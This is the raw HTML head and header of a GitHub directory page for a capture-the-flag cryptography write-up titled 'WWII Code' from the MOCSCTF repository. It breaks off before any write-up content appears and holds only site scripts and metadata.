src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Write-UP/Crypto/RTLXHA2021 - WWII Code at master · MOCSCTF/CTF-Write-UP · GitHub</title> <meta name="description" content="澳門網絡安全暨奪旗競賽協會(Macau Cyber Security and Capture The Flag Association)MOCSCTF/MOCTF - CTF-Write-UP/Crypto/RTLXHA2021 - WWII Code at master · MOCSCTF/CTF-Write-UP"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f0f8b0ab2de020d482df3596aedaaddbc091fe3316ed536d45df30cd276a2a75/MOCSCTF/CTF-Write-UP" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Write-UP/Crypto/RTLXHA2021 - WWII Code at master · MOCSCTF/CTF-Write-UP" /><meta name="twitter:description" content="澳門網絡安全暨奪旗競賽協會(Macau Cyber Security and Capture The Flag Association)MOCSCTF/MOCTF - CTF-Write-UP/Crypto/RTLXHA2021 - WWII Code at master · MOCSCTF/CTF-Write-UP" /> <meta property="og:image" content="https://opengraph.githubassets.com/f0f8b0ab2de020d482df3596aedaaddbc091fe3316ed536d45df30cd276a2a75/MOCSCTF/CTF-Write-UP" /><meta property="og:image:alt" content="澳門網絡安全暨奪旗競賽協會(Macau Cyber Security and Capture The Flag Association)MOCSCTF/MOCTF - CTF-Write-UP/Crypto/RTLXHA2021 - WWII Code at master · MOCSCTF/CTF-Write-UP" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Write-UP/Crypto/RTLXHA2021 - WWII Code at master · MOCSCTF/CTF-Write-UP" /><meta property="og:url" content="https://github.com/MOCSCTF/CTF-Write-UP" /><meta property="og:description" content="澳門網絡安全暨奪旗競賽協會(Macau Cyber Security and Capture The Flag Association)MOCSCTF/MOCTF - CTF-Write-UP/Crypto/RTLXHA2021 - WWII Code at master · MOCSCTF/CTF-Write-UP" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B49B:8912:1C508CD:1DA7769:618306C0" data-pjax-transient="true"/><meta name="html-safe-nonce" content="07d77624e1c68b07f88f349dd404b74c34e0a0130041b2ee2b106231f3096057" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNDlCOjg5MTI6MUM1MDhDRDoxREE3NzY5OjYxODMwNkMwIiwidmlzaXRvcl9pZCI6IjgzNzU2MTI3NjIwMzgxNDI2NTYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="37790da1a9b1d5a959a9dea0c8d0cf770faf585c7e880cac6a154df6bed17514" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:295290832" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/MOCSCTF/CTF-Write-UP git https://github.com/MOCSCTF/CTF-Write-UP.git"> <meta name="octolytics-dimension-user_id" content="68818539" /><meta name="octolytics-dimension-user_login" content="MOCSCTF" /><meta name="octolytics-dimension-repository_id" content="295290832" /><meta name="octolytics-dimension-repository_nwo" content="MOCSCTF/CTF-Write-UP" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="295290832" /><meta name="octolytics-dimension-repository_network_root_nwo" content="MOCSCTF/CTF-Write-UP" /> <link rel="canonical" href="https://github.com/MOCSCTF/CTF-Write-UP/tree/master/Crypto/RTLXHA2021%20-%20WWII%20Code" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path 